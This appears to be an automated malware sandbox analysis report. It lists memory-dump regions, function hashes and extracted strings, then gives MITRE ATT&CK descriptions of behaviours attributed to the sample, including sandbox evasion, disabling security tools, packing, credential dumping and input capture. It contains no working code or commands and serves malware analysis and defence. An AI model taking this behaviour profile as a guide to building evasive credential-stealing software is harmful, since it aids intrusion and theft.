Associated: 00000000.00000002.336237756.0000000000591000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336245167.0000000000593000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336253994.0000000000595000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336261487.0000000000597000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336268735.0000000000599000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336277601.000000000059B000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336285585.000000000059D000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336293219.000000000059F000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336300850.00000000005A1000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID: (4uk${-y_
API String ID: 0-3204947127
Opcode ID: e8bb17516f2b4713000df509f2a61275c88b7cee645181fdb2ec69e3ab0a9f08
Instruction ID: de76ec9adc3696a384301633d795d5e1683a5ef6083781b4c139b3b15754bf6d
Opcode Fuzzy Hash: e8bb17516f2b4713000df509f2a61275c88b7cee645181fdb2ec69e3ab0a9f08
Instruction Fuzzy Hash: F6E106F350C6149FE3186F68EC81BBABBE5EF94320F1A463DE6C583744EA7558008796

Uniqueness

Uniqueness Score: -1.00%

Function 005D1E33, Relevance: 1.7, Strings: 1, Instructions: 456COMMON

Download Yara Rule

Strings

i~o, xrefs: 005D223B

Memory Dump Source

Source File: 00000000.00000002.336308231.00000000005A3000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.335978990.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.335990015.0000000000402000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336029416.0000000000438000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336039531.000000000043C000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336050056.0000000000442000.00000080.00020000.sdmp Download File
Associated: 00000000.00000002.336058489.0000000000444000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336190884.0000000000585000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336200241.0000000000587000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336207812.0000000000589000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336215386.000000000058B000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336222932.000000000058D000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336230233.000000000058F000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336237756.0000000000591000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336245167.0000000000593000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336253994.0000000000595000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336261487.0000000000597000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336268735.0000000000599000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336277601.000000000059B000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336285585.000000000059D000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336293219.000000000059F000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336300850.00000000005A1000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID: i~o
API String ID: 0-15260008
Opcode ID: e667e0148be4d7c6c0eb70c9f1641da56b724ed070650783845489ac4405ef9a
Instruction ID: 5d6c077b715a9ae7c94105021e981911602cadae42846490ecd70e61a0aff584
Opcode Fuzzy Hash: e667e0148be4d7c6c0eb70c9f1641da56b724ed070650783845489ac4405ef9a
Instruction Fuzzy Hash: 49E1B2F260C204AFE3146F59EC857BABBE9EF94720F1A453DEBC483740E63598448697

Uniqueness

Uniqueness Score: -1.00%

Function 005CFDE7, Relevance: 1.7, Strings: 1, Instructions: 443COMMON

Download Yara Rule

Strings

_SOK, xrefs: 005D025F

Memory Dump Source

Source File: 00000000.00000002.336308231.00000000005A3000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.335978990.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.335990015.0000000000402000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336029416.0000000000438000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336039531.000000000043C000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336050056.0000000000442000.00000080.00020000.sdmp Download File
Associated: 00000000.00000002.336058489.0000000000444000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336190884.0000000000585000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336200241.0000000000587000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336207812.0000000000589000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336215386.000000000058B000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336222932.000000000058D000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336230233.000000000058F000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336237756.0000000000591000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336245167.0000000000593000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336253994.0000000000595000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336261487.0000000000597000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336268735.0000000000599000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336277601.000000000059B000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336285585.000000000059D000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336293219.000000000059F000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336300850.00000000005A1000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID: _SOK
API String ID: 0-1245682643
Opcode ID: 867613472d9ac289c5b5b4e8718c5b59ae7daec696997c64d824481e75a1aa40
Instruction ID: 4d286956e897e6d881051a71b0685b3b396456039df914f9c86dbc2fbdf856ae
Opcode Fuzzy Hash: 867613472d9ac289c5b5b4e8718c5b59ae7daec696997c64d824481e75a1aa40
Instruction Fuzzy Hash: 95D1C1F350C600AFE7156E19EC817BABBE9EB58320F1A493DEBC487740E63598448797

Uniqueness

Uniqueness Score: -1.00%

Function 005E7DFD, Relevance: 1.7, Strings: 1, Instructions: 429COMMON

Download Yara Rule

Strings

!=oo, xrefs: 005E7F9E

Memory Dump Source

Source File: 00000000.00000002.336308231.00000000005A3000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.335978990.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.335990015.0000000000402000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336029416.0000000000438000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336039531.000000000043C000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336050056.0000000000442000.00000080.00020000.sdmp Download File
Associated: 00000000.00000002.336058489.0000000000444000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336190884.0000000000585000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336200241.0000000000587000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336207812.0000000000589000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336215386.000000000058B000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336222932.000000000058D000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336230233.000000000058F000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336237756.0000000000591000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336245167.0000000000593000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336253994.0000000000595000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336261487.0000000000597000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336268735.0000000000599000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336277601.000000000059B000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336285585.000000000059D000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336293219.000000000059F000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336300850.00000000005A1000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID: !=oo
API String ID: 0-705784357
Opcode ID: f5b3849b026c051bb03051c455c8507caac4a44d4f7df53b067dfdd337f820d0
Instruction ID: 5126a1aa09cda3b9909a7e386d353ecc1a5af5932e7bac6e9b2490773bdbbbaa
Opcode Fuzzy Hash: f5b3849b026c051bb03051c455c8507caac4a44d4f7df53b067dfdd337f820d0
Instruction Fuzzy Hash: 56D1A2F250C204AFE314AF19EC81B7AFBE9EF94720F15493DE6C887740E67558418796

Uniqueness

Uniqueness Score: -1.00%

Function 005DBF06, Relevance: 1.6, Strings: 1, Instructions: 361COMMON

Download Yara Rule

Strings

L!70, xrefs: 005DC080

Memory Dump Source

Source File: 00000000.00000002.336308231.00000000005A3000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.335978990.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.335990015.0000000000402000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336029416.0000000000438000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336039531.000000000043C000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336050056.0000000000442000.00000080.00020000.sdmp Download File
Associated: 00000000.00000002.336058489.0000000000444000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336190884.0000000000585000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336200241.0000000000587000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336207812.0000000000589000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336215386.000000000058B000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336222932.000000000058D000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336230233.000000000058F000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336237756.0000000000591000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336245167.0000000000593000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336253994.0000000000595000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336261487.0000000000597000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336268735.0000000000599000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336277601.000000000059B000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336285585.000000000059D000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336293219.000000000059F000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336300850.00000000005A1000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID: L!70
API String ID: 0-2144830678
Opcode ID: 3006d8642855bb476738b9933eb4d155fb3644c910cc8df64f65dd7ac1fa3bbd
Instruction ID: 8f4449f57dc271e00c2260ef802e84f8c6b8dab777b8e8cd0b691ab1bf109df3
Opcode Fuzzy Hash: 3006d8642855bb476738b9933eb4d155fb3644c910cc8df64f65dd7ac1fa3bbd
Instruction Fuzzy Hash: 8FB1C3F350C6009FE314AE19EC867AAFBE5EF94720F1A493DE6C487744E63598018797

Uniqueness

Uniqueness Score: -1.00%

Function 0064A48D, Relevance: 1.6, Strings: 1, Instructions: 354COMMON

Download Yara Rule

Strings

cgw, xrefs: 0064A5DA

Memory Dump Source

Source File: 00000000.00000002.336308231.00000000005A3000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.335978990.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.335990015.0000000000402000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336029416.0000000000438000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336039531.000000000043C000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336050056.0000000000442000.00000080.00020000.sdmp Download File
Associated: 00000000.00000002.336058489.0000000000444000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336190884.0000000000585000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336200241.0000000000587000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336207812.0000000000589000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336215386.000000000058B000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336222932.000000000058D000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336230233.000000000058F000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336237756.0000000000591000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336245167.0000000000593000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336253994.0000000000595000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336261487.0000000000597000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336268735.0000000000599000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336277601.000000000059B000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336285585.000000000059D000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336293219.000000000059F000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336300850.00000000005A1000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID: cgw
API String ID: 0-2232643056
Opcode ID: dbae95e2771b920b66fa7cb09f4bd366abff2d939774e712767c666b04e5bd9c
Instruction ID: efedc71f29a3a5dcad799a66ac0d37cf2d5e0f858f6d8a689fb185a48538d128
Opcode Fuzzy Hash: dbae95e2771b920b66fa7cb09f4bd366abff2d939774e712767c666b04e5bd9c
Instruction Fuzzy Hash: 13A179F36083046BE7046E2DED9477EFBD9EBD4220F2A463EE7C583744E67568018686

Uniqueness

Uniqueness Score: -1.00%

Function 005E3F99, Relevance: 1.6, Strings: 1, Instructions: 344COMMON

Download Yara Rule

Strings

iJC, xrefs: 005E4333

Memory Dump Source

Source File: 00000000.00000002.336308231.00000000005A3000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.335978990.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.335990015.0000000000402000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336029416.0000000000438000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336039531.000000000043C000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336050056.0000000000442000.00000080.00020000.sdmp Download File
Associated: 00000000.00000002.336058489.0000000000444000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336190884.0000000000585000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336200241.0000000000587000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336207812.0000000000589000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336215386.000000000058B000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336222932.000000000058D000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336230233.000000000058F000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336237756.0000000000591000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336245167.0000000000593000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336253994.0000000000595000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336261487.0000000000597000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336268735.0000000000599000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336277601.000000000059B000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336285585.000000000059D000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336293219.000000000059F000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336300850.00000000005A1000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID: iJC
API String ID: 0-2411615718
Opcode ID: 061216386f816ec7422c7dfbe2c83ff5b4c9c10050ab31ecb9fedcce1f39c72a
Instruction ID: bf040087c87f62bcb169c324d57e71afb938196573c8f185f7c7cbe2a0ea1d87
Opcode Fuzzy Hash: 061216386f816ec7422c7dfbe2c83ff5b4c9c10050ab31ecb9fedcce1f39c72a
Instruction Fuzzy Hash: 9DB1B3F350C204AFE7117E59EC857AABBE9EF58720F09493DEAC487340E67598408B97

Uniqueness

Uniqueness Score: -1.00%

Function 005CDE01, Relevance: .4, Instructions: 440COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.336308231.00000000005A3000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.335978990.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.335990015.0000000000402000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336029416.0000000000438000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336039531.000000000043C000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336050056.0000000000442000.00000080.00020000.sdmp Download File
Associated: 00000000.00000002.336058489.0000000000444000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336190884.0000000000585000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336200241.0000000000587000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336207812.0000000000589000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336215386.000000000058B000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336222932.000000000058D000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336230233.000000000058F000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336237756.0000000000591000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336245167.0000000000593000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336253994.0000000000595000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336261487.0000000000597000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336268735.0000000000599000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336277601.000000000059B000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336285585.000000000059D000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336293219.000000000059F000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336300850.00000000005A1000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 63c336bacd90fc6d7a2109ce32b4851c881bc06190c8ac55ef06b6616e517384
Instruction ID: 9f63d7a04097ff8c6f1671d608c4a3216c56b41a8a317cc06e720dbca4b0590d
Opcode Fuzzy Hash: 63c336bacd90fc6d7a2109ce32b4851c881bc06190c8ac55ef06b6616e517384
Instruction Fuzzy Hash: C2E18EF260C304AFE715BE58EC867BABBE4EB54320F06453DEBC487740E635A4048B96

Uniqueness

Uniqueness Score: -1.00%

Function 0068808A, Relevance: .4, Instructions: 416COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.336308231.00000000005A3000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.335978990.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.335990015.0000000000402000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336029416.0000000000438000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336039531.000000000043C000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336050056.0000000000442000.00000080.00020000.sdmp Download File
Associated: 00000000.00000002.336058489.0000000000444000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336190884.0000000000585000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336200241.0000000000587000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336207812.0000000000589000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336215386.000000000058B000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336222932.000000000058D000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336230233.000000000058F000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336237756.0000000000591000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336245167.0000000000593000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336253994.0000000000595000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336261487.0000000000597000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336268735.0000000000599000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336277601.000000000059B000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336285585.000000000059D000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336293219.000000000059F000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336300850.00000000005A1000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c4eccef03d7b952dfc4fab01158b450746ec9a77a93c22147409067753d4ab52
Instruction ID: 144db6622c192cc8f71ded4f1252ced7700710a259ebaf4f189c9206d49d18ce
Opcode Fuzzy Hash: c4eccef03d7b952dfc4fab01158b450746ec9a77a93c22147409067753d4ab52
Instruction Fuzzy Hash: 36D1E4B210C600EFE7057E18DC857BABBE6EF54310F654B2EE6C683640DA315442EBA7

Uniqueness

Uniqueness Score: -1.00%

Function 00688134, Relevance: .3, Instructions: 280COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.336308231.00000000005A3000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.335978990.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.335990015.0000000000402000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336029416.0000000000438000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336039531.000000000043C000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336050056.0000000000442000.00000080.00020000.sdmp Download File
Associated: 00000000.00000002.336058489.0000000000444000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336190884.0000000000585000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336200241.0000000000587000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336207812.0000000000589000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336215386.000000000058B000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336222932.000000000058D000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336230233.000000000058F000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336237756.0000000000591000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336245167.0000000000593000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336253994.0000000000595000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336261487.0000000000597000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336268735.0000000000599000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336277601.000000000059B000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336285585.000000000059D000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336293219.000000000059F000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336300850.00000000005A1000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d585b96056202ca44c3d360e87658237a2e89fa8aed596bc4eda5285e16d8de
Instruction ID: a73174bcd1e6aa58f0df8760796a9981b577acd32724521daa2e803d03e19b6d
Opcode Fuzzy Hash: 9d585b96056202ca44c3d360e87658237a2e89fa8aed596bc4eda5285e16d8de
Instruction Fuzzy Hash: E591A0B210C600EFE7057E18DC857BAFBE6EF54310F664A2ED6C683640EA355842DB97

Uniqueness

Uniqueness Score: -1.00%

Function 006282FB, Relevance: .2, Instructions: 174COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.336308231.00000000005A3000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.335978990.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.335990015.0000000000402000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336029416.0000000000438000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336039531.000000000043C000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336050056.0000000000442000.00000080.00020000.sdmp Download File
Associated: 00000000.00000002.336058489.0000000000444000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336190884.0000000000585000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336200241.0000000000587000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336207812.0000000000589000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336215386.000000000058B000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336222932.000000000058D000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336230233.000000000058F000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336237756.0000000000591000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336245167.0000000000593000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336253994.0000000000595000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336261487.0000000000597000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336268735.0000000000599000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336277601.000000000059B000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336285585.000000000059D000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336293219.000000000059F000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336300850.00000000005A1000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e9bdbe49a78b41f1788855783a92308e428f94951234c38d3b3a596fa9cfce42
Instruction ID: 090aee1d386d723a95eaa4ddb4714f7ead188fc2d50b7f566c036bec6c2a8b73
Opcode Fuzzy Hash: e9bdbe49a78b41f1788855783a92308e428f94951234c38d3b3a596fa9cfce42
Instruction Fuzzy Hash: AC41F2B660EE31DFE7006904FC447BA72979BE0310F35852ED68247790ED3A1587AE9B

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

